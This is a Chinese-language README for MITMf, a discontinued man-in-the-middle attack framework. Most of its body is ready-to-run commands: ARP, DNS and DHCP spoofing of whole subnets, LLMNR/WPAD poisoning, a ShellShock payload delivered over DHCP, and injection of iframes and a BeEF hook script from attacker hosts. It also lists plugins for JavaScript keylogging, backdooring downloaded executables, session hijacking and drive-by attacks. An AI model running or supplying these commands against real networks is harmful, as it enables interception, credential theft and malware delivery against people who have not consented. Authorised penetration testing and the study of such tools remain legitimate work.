中間人攻擊框架
該項目不再更新。 MITMf 的編寫是為了滿足當時對執行中間人攻擊的現代工具的需求。從那時起,已經創建了許多其他工具來填補這個空間,您可能應該使用 Bettercap,因為它的功能更加完整且維護得更好。
快速教學、範例和開發人員更新:https://byt3bl33d3r.github.io
該工具基於 sergio-proxy,是對專案的復興和更新的嘗試。
聯絡我:
推特:@byt3bl33d3r
Freenode 上的 IRC:#MITMf
電子郵件:[email protected]
在提交問題之前,請先閱讀 wiki 中的相關部分。
安裝說明請參考wiki
MITMf 旨在為中間人和網路攻擊提供一站式服務,同時更新和改進現有的攻擊和技術。
它最初是為了解決其他工具(例如Ettercap、Mallory)的重大缺陷而構建的,現在幾乎完全從頭開始重寫,以提供一個模組化且易於擴展的框架,任何人都可以使用它來實施自己的MITM攻擊。
該框架包含一個內建的 SMB、HTTP 和 DNS 伺服器,可以由各種外掛程式控制和使用,它還包含 SSLStrip 代理程式的修改版本,允許 HTTP 修改和部分 HSTS 繞過。
從版本 0.9.8 開始,MITMf 支援主動資料包過濾和操作(基本上是 etterfilters 所做的,只是更好),允許使用者修改任何類型的流量或協定。
設定檔可以在 MITMf 運行時即時編輯,更改將透過框架傳遞:這允許您在執行攻擊時調整插件和伺服器的設定。
MITMf 將使用 Net-Creds(運行於啟動。
回應程式整合允許 LLMNR、NBT-NS 和 MDNS 中毒以及 WPAD 流氓伺服器支援。
現在您可以使用 Scapy 修改任何被 MITMf 攔截的資料包/協定! (不再有錯誤過濾器!耶!)
例如,這是一個愚蠢的小過濾器,它只更改 ICMP 封包的目標 IP 位址:
if packet.haslayer(ICMP): log.info('收到一個 ICMP 封包!') packet.dst = '192.168.1.0'
使用packet
變數以 Scapy 相容格式存取資料包
使用data
變數存取原始資料包數據
現在要使用過濾器,我們需要做的是: python mitmf.py -F ~/filter.py
您可能希望將其與Spoof插件結合起來,以實際攔截來自其他人的資料包;)
注意:您可以即時修改濾鏡,而無需重新啟動 MITMf!
最基本的用法是在介面 enp3s0 上啟動 HTTP 代理 SMB、DNS、HTTP 伺服器和 Net-Creds:
python mitmf.py -i enp3s0
使用Spoof插件,ARP 毒害網關為 192.168.1.1 的整個子網路:
python mitmf.py -i enp3s0 --spoof --arp --gateway 192.168.1.1
與上面相同 + 使用Responder插件的 WPAD 流氓代理伺服器:
python mitmf.py -i enp3s0 --spoof --arp --gateway 192.168.1.1 --responder --wpad
ARP 中毒 192.168.1.16-45 和 192.168.0.1/24,閘道位於 192.168.1.1:
python mitmf.py -i enp3s0 --spoof --arp --target 192.168.2.16-45,192.168.0.1/24 --gateway 192.168.1.1
在 ARP 中毒時啟用 DNS 欺騙(要欺騙的網域是從設定檔中提取的):
python mitmf.py -i enp3s0 --spoof --dns --arp --target 192.168.1.0/24 --gateway 192.168.1.1
啟用 LLMNR/NBTNS/MDNS 欺騙:
python mitmf.py -i enp3s0 --responder --wredir --nbtns
啟用 DHCP 欺騙(從設定檔中提取 IP 池和子網路):
python mitmf.py -i enp3s0 --spoof --dhcp
與上面的 ShellShock 有效負載相同,如果任何客戶端易受攻擊,則該有效負載將被執行:
python mitmf.py -i enp3s0 --spoof --dhcp --shellshock 'echo 0wn3d'
使用Inject外掛程式註入 HTML IFrame:
python mitmf.py -i enp3s0 --inject --html-url http://some-evil-website.com
注入JS腳本:
python mitmf.py -i enp3s0 --inject --js-url http://beef:3000/hook.js
啟動強制門戶,將所有內容重新導向至 http://SERVER/PATH:
python mitmf.py -i enp3s0 --spoof --arp --gateway 192.168.1.1 --captive --portalurl http://SERVER/PATH
使用 config/captive 資料夾中的預設頁面 /portal.html(感謝響應者)和 /CaptiveClient.exe(不包含)在 http://your-ip/portal.html 啟動強制入口網站:
python mitmf.py -i enp3s0 --spoof --arp --gateway 192.168.1.1 --captive
與上面相同,但使用主機名稱 captive.portal 而不是 IP(需要 captive.portal 解析為您的 IP,例如透過 DNS 欺騙):
python mitmf.py -i enp3s0 --spoof --arp --gateway 192.168.1.1 --dns --captive --use-dns
使用額外的 SimpleHTTPServer 實例為強制門戶提供服務,該實例為 http://IP:8080 處的 LOCALDIR 提供服務(更改 mitmf.config 中的連接埠):
python mitmf.py -i enp3s0 --spoof --arp --gateway 192.168.1.1 --captive --portaldir LOCALDIR
與上面相同,但帶有主機名稱:
python mitmf.py -i enp3s0 --spoof --arp --gateway 192.168.1.1 --dns --captive --portaldir LOCALDIR --use-dns
還有更多!
當然,您幾乎可以將任何插件混合搭配在一起(例如 ARP 欺騙 + 注入 + Responder 等..)
有關可用選項的完整列表,只需運行python mitmf.py --help
HTA Drive-By :注入虛假更新通知並提示客戶端下載 HTA 應用程式
SMBTrap :利用連線客戶端上的「SMB Trap」漏洞
ScreenShotter :使用 HTML5 Canvas 渲染用戶端瀏覽器的準確螢幕截圖
反應者:LLMNR、NBT-NS、WPAD 和 MDNS 中毒者
SSLstrip+ :部分繞過 HSTS
欺騙:使用 ARP、ICMP、DHCP 或 DNS 欺騙重定向流量
BeEFAutorun :根據客戶端作業系統或瀏覽器類型自動執行 BeEF 模組
AppCachePoison :執行 HTML5 應用程式快取中毒攻擊
Ferret-NG :透明地劫持客戶端會話
BrowserProfiler :嘗試列舉已連接客戶端的所有瀏覽器插件
FilePwn :使用 Backdoor Factory 和 BDFProxy 透過 HTTP 發送的後門可執行文件
Inject :將任意內容注入 HTML 內容中
BrowserSniper :使用過時的瀏覽器外掛程式對用戶端進行偷渡式攻擊
JSkeylogger :將 Javascript 鍵盤記錄器注入客戶端的網頁
Replace : 取代HTML內容中的任意內容
SMBAuth :引發 SMB 質詢-回應驗證嘗試
Upsidedowninternet :將影像翻轉 180 度
Captive :建立一個強制門戶,使用 302 重定向 HTTP 請求
比特幣:1ER8rRE6NTZ7RHN88zc6JY87LvtyuRUJGU
以太幣:0x91d9aDCf8B91f55BCBF0841616A01BeE551E90ee
LTC:LLMa2bsvXbgBGnnBwiXYazsj7Uz6zRe4fr